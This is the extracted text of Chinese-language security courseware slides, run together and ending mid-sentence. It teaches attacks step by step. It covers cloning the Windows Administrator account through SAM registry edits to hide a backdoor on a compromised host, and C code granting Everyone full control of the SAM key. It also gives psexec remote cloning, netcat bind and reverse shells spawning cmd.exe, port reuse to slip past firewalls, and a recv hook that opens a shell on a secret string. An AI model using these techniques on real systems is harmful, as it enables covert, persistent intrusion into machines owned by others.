網(wǎng)絡(luò)安全學(xué)習(xí)課件

1、克隆用戶克隆意義克隆原理克隆方法常用工具編程實(shí)現(xiàn) 牛牛文庫文檔分享克隆意義實(shí)現(xiàn)用戶權(quán)限 的隱藏給自己留一個好的后門保住肉雞 牛牛文庫文檔分享克隆原理參考：克隆管理員帳號的方法 /articles/200309/608.html 牛牛文庫文檔分享Windows 2000和Windows NT里，默認(rèn)管理員帳號的SID是固定的500（0 x1f4），那么我們可以用機(jī)器里已經(jīng)存在的一個帳號將SID為500的帳號進(jìn)行克隆 牛牛文庫文檔分享Administrator sid 0 x1f4Guest sid 0 x1f5 牛牛文庫文檔分享SAM 鍵的權(quán)限默認(rèn)情況下SAM鍵的權(quán)限修改SAM鍵的方法 牛牛文庫

2、文檔分享HKEY_LOCAL_MACHINESAMAdministrators 完全控制System 完全控制HKEY_LOCAL_MACHINESAMSAMAdministrators 沒有權(quán)限System 完全控制 牛牛文庫文檔分享修改SAM鍵的方法使用regedt32修改權(quán)限 （windows 2000）以system的權(quán)限運(yùn)行regedit 牛牛文庫文檔分享Regedt32 系統(tǒng)自帶以system權(quán)限運(yùn)行應(yīng)用程序 a 利用at來啟動 b 使用工具psu.exe c 其他方法 牛牛文庫文檔分享具體操作regedit /e 1f4.reg HKEY_LOCAL_MACHINESAMSAMD

3、omainsAccountUsers000001F4 regedit /e 1f5.reg HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers000001F5將1f4.reg的000001f4改為000001f5，并把1f5.reg的v部分替換1f4.reg的v部分，導(dǎo)入修改后的1f4.reg 牛牛文庫文檔分享編程實(shí)現(xiàn)權(quán)限問題的解決注冊表操作 牛牛文庫文檔分享解決權(quán)限/ 獲取SAM主鍵的DACL GetNamedSecurityInfo(SamName, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NU

4、LL, &pOldDacl, NULL,&pSD);/* 創(chuàng)建一個ACE，允許Everyone完全控制對象，并允許子對象繼承此權(quán)限 */ BuildExplicitAccessWithName(&ea, _T(Everyone), KEY_ALL_ACCESS, SET_ACCESS, SUB_CONTAINERS_AND_OBJECTS_INHERIT); 牛牛文庫文檔分享/ 將新的ACE加入DACL SetEntriesInAcl(1, &ea, pOldDacl,&pNewDacl); / 更新SAM主鍵的DACL SetNamedSecurityInfo(SamName, SE_REG

5、ISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); 牛牛文庫文檔分享注冊表操作RegOpenKeyExRegQueryValueExRegSetValueEx 牛牛文庫文檔分享Clone.exe 配合psexec遠(yuǎn)程克隆Psexec xx.xx.xx.xx -u administrator -p “” c clone.exe 牛牛文庫文檔分享Nc的使用Nc 簡介Nc的使用實(shí)戰(zhàn) 牛牛文庫文檔分享Nc 簡介 /_/ / 0 0 =v= 瑞士軍刀（Swiss Army knife） W / | | _ /_ / / /

6、 | (-)- / ( _ _.=|_E / 牛牛文庫文檔分享Nc的使用端口的刺探：nc -vv ip port 牛牛文庫文檔分享Nc的使用監(jiān)聽本地端口nc -vv -l -p port 牛牛文庫文檔分享Nc的使用正向連接nc -vv ip port 牛牛文庫文檔分享Nc的使用端口掃描nc -vv -w 5 ip port-port portnc -vv -z ip port-port port 牛牛文庫文檔分享Nc的使用文件傳輸 LOCAL： nc -v -n ip port y:svr.exe 牛牛文庫文檔分享Nc的高級用法綁定cmd.exe 到指定端口nc -l -p port -e c

7、md.exe 牛牛文庫文檔分享Nc的高級用法Nc反向連接獲得cmdshellnc -t -e cmd.exe ip port 牛牛文庫文檔分享Nc的高級用法簡單判斷遠(yuǎn)程主機(jī)是否開放防火墻nc -vv -l -p port 牛牛文庫文檔分享Nc的高級用法Nc配合管道使用nc -vv ip port data.txtnc -vv ip 80 data.txt 牛牛文庫文檔分享Nc的高級用法端口復(fù)用nc -vv -l -p 80 -e cmd.exe 牛牛文庫文檔分享Nc的高級用法端口數(shù)據(jù)抓包nc -vv -w 2 -o test.txt 80 21-15 牛牛文庫文檔分享實(shí)戰(zhàn)動網(wǎng)論壇前臺提權(quán)漏洞

8、牛牛文庫文檔分享端口復(fù)用意義和優(yōu)勢常見的socket程序的安全隱患實(shí)現(xiàn)方法編程實(shí)現(xiàn) 牛牛文庫文檔分享意義和優(yōu)勢突破防火墻的端口訪問限制可以在低權(quán)限用戶上綁定高權(quán)限的服務(wù)應(yīng)用的端口，進(jìn)行該處理信息的嗅探 對一些的特殊應(yīng)用，可以發(fā)起中間人攻擊 牛牛文庫文檔分享安全隱患socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);saddr.sin_family = AF_INET;saddr.sin_addr.s_addr =htonl(INADDR_ANY); bind(s,(SOCKADDR*)&saddr,sizeof(saddr); 牛牛文庫文檔分享解決辦法int set

9、sockopt( SOCKET s, int level, int optname, const char* optval, int optlen ); setsockopt(s,SOL_SOCKET,SO_EXCLUSIVEADDRUSE ,(char*)&val,sizeof(val); 牛牛文庫文檔分享實(shí)現(xiàn)方法getpeername查找socket字串匹配查找socketHook系統(tǒng)的recv調(diào)用 牛牛文庫文檔分享getpeername查找socket客戶端在發(fā)送攻擊串之前用getsockname函數(shù)獲得套接字本地信息服務(wù)端從1開始遞增查找socket，并且用getpeername函數(shù)獲

10、得套接字遠(yuǎn)程信息。 如果兩個信息相符就認(rèn)為找到socket，跳出遞增循環(huán) 牛牛文庫文檔分享int getsockname( SOCKET s, struct sockaddr* name, int* namelen ); int getpeername( SOCKET s, struct sockaddr* name, int* namelen ); 牛牛文庫文檔分享Getpeername方法的局限性有很大局限性，如果客戶端在NAT網(wǎng)絡(luò)環(huán)境里，客戶端getsockname取得的套接字信息和服務(wù)端getpeername取得的套接字信息不一定相符，導(dǎo)致查找socket失敗。 牛牛文庫文檔分享字串匹

11、配查找socket客戶端在發(fā)送完攻擊數(shù)據(jù)包后，再發(fā)送幾個字節(jié)的字符串，在服務(wù)端的對一個遞增的socket值接收相應(yīng)字節(jié)的字符串，然后匹配是否是當(dāng)前連接的socket。這種方法避免了getpeername在NAT網(wǎng)絡(luò)環(huán)境里的限制。多線程環(huán)境下容易處理到處于accept下的socket，一般的網(wǎng)絡(luò)函數(shù)都會進(jìn)入等待狀態(tài)，直到有連接建立。flier提到WaitForSingleObjectEx處理這種處于accept的socket會返回WAIT_TIMEOUT，可用的句柄返回WAIT_OBJECT_0 牛牛文庫文檔分享查找流程 while (1) i+; ret = WaitForSingleObje

12、ctEx(i, 10, 1); if (ret != 0) continue; ret = ioctlsocket(i, FIONREAD, &ul); if (ul != 4) continue; recv(i, buff, 4, 0); if( *(DWORD *)buff = Xc0n) 牛牛文庫文檔分享Hook系統(tǒng)的recv調(diào)用用VirtualProtect設(shè)置真實(shí)recv函數(shù)地址開始的5個字節(jié)可寫。把真實(shí)recv開始的指令改為跳轉(zhuǎn)到新recv函數(shù)。在新的recv函數(shù)里先把這5個字節(jié)指令改回去。調(diào)用真實(shí)recv來執(zhí)行系統(tǒng)本來的操作。把真實(shí)recv函數(shù)地址開始的5個字節(jié)改為跳轉(zhuǎn)新recv的指令。 比較接收的數(shù)據(jù)是否是約定字串，如果是就綁定一個cmd.exe，否則跳到壓棧的返回地址，繼續(xù)系統(tǒng)原來的流 程 牛牛文庫文檔分享編程實(shí)現(xiàn)端口復(fù)用將服務(wù)重新綁定在地址，而且不能使用SO_EXCLUSIVEADDR